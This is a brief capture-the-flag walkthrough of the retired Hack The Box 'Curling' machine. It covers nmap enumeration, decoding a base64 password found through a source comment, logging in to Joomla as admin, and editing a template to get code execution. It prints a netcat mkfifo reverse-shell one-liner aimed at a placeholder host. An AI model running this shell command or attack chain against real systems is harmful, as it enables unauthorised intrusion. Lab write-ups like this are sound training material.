Hack The Box · Linux Machine

Curling

Machine details
NameCurling
Release date27 Oct 2018
Retire date20 Mar 2019
OSLinux
DifficultyEasy - Retired [0]
Rated difficultyCurling difficulty rating
Radar graphCurling radar graph
CreatorL4mpje
CherryTree fileDownload and remove the .txt extension

Enumeration

nmap -sC -sV -oA ./curling 10.10.10.150

SSH and Joomla are exposed. Page content reveals the user floris, while a source-code comment points to secret.txt. Decoding Q3VybGluZzIwMTgh gives Curling2018!.

Curling source comment revealing secret.txt

Joomla access and shell

The credentials floris:Curling2018! work on the Joomla administrator page. Editing the Protostar template adds command execution, which is then replaced with a Netcat reverse shell.

Joomla template edited for command execution
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc YOURIP 1234 >/tmp/f

Privilege escalation

The remainder of the original walkthrough uses local enumeration and the recovered Floris data to move from the web user to the machine user and then root. The full command output remains available in the linked CherryTree notes.